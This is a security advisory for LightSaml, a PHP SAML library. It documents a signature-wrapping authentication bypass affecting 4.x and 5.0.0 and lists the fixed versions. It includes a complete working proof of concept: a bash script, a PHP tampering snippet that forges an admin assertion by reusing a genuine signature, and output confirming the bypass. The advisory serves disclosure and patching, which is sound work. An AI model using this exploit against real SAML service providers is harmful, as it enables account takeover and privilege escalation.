GHSA-w553-pwx6-3mg9

Suggest an improvement
Source
https://github.com/advisories/GHSA-w553-pwx6-3mg9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w553-pwx6-3mg9/GHSA-w553-pwx6-3mg9.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-w553-pwx6-3mg9
Aliases
Published
2026-11-16T22:08:38Z
Modified
2026-11-16T22:15:05Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
lightsaml allows Signature wrapping bypass
Details

Summary

LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound samlp:Response by collecting its direct-child saml:Assertion elements and validating each one's ds:Signature via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed Reference URI="#id" with a document-wide //*[@Id] XPath that returns the first ID-bearing element anywhere in the document.

An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.

Details

Response::deserialize collects assertions with manyElementsFromXml, whose relative XPath saml:Assertion matches only direct children of the Response. Each collected assertion is validated independently by AssertionSignatureValidatorAction against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28

The check delegates to xmlseclibs XMLSecurityDSig::validateReference(), which first removes the signature node being validated from the shared document (enveloped-signature removal):

if (! $docElem->isSameNode($this->sigNode)) {
    if ($this->sigNode->parentNode != null) {
        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM
    }
}

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596

processRefNode() then resolves URI="#id" document-wide and takes item(0), the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:

$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525

So the digest target xmlseclibs picks (//*[@Id] item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288

An example attacker buries the genuine signed bytes (the assertion with its ds:Signature element stripped) inside samlp:Extensions, so it is the first @Id element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same ID, attacker claims, and a verbatim copy of the genuine ds:Signature:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

PoC

#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
  -subj "/CN=idp.example.com" >/dev/null 2>&1

# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
  <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#${ASSERTION_ID}">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
    <saml:AttributeStatement>
      <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
XML

# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
  --output genuine_signed.xml genuine_tmpl.xml >/dev/null

# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext;   // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
    $attrs = [];
    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
    echo "ASSERTION #$i  NameID=$nameId  Attributes=".json_encode($attrs)."\n";
    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
    echo "  LightSaml validation: $r\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
        $bypass = true; echo "  >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"

Observed output:

assertions LightSaml collected: 1
ASSERTION #0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  >>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED

Impact

Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

Database specific
{
    "cwe_ids": [
        "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-16T22:08:38Z",
    "nvd_published_at": "2026-10-30T22:16:58Z",
    "severity": "HIGH"
}
References

Affected packages

Packagist / litesaml/lightsaml

Package

Name
litesaml/lightsaml
Purl
pkg:composer/litesaml/lightsaml

Affected ranges

Type
ECOSYSTEM
Events
Introduced
5.0.0
Fixed
5.0.1

Affected versions

5.*
5.0.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w553-pwx6-3mg9/GHSA-w553-pwx6-3mg9.json"

Packagist / litesaml/lightsaml

Package

Name
litesaml/lightsaml
Purl
pkg:composer/litesaml/lightsaml

Affected ranges

Type
ECOSYSTEM
Events
Introduced
4.0.0
Fixed
4.7.1

Affected versions

4.*
4.0.0
4.2.1
4.2.2
4.3.0
4.3.1
4.3.2
4.4.0
4.5.0
4.5.1
4.6.0
4.6.1
4.7.0
v4.*
v4.0.1
v4.0.2
v4.0.3
v4.0.4
v4.0.5
v4.0.6
v4.0.7
v4.0.8
v4.0.9
v4.1.0
v4.1.1
v4.1.2
v4.1.3
v4.1.4
v4.1.5
v4.1.6
v4.2.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w553-pwx6-3mg9/GHSA-w553-pwx6-3mg9.json"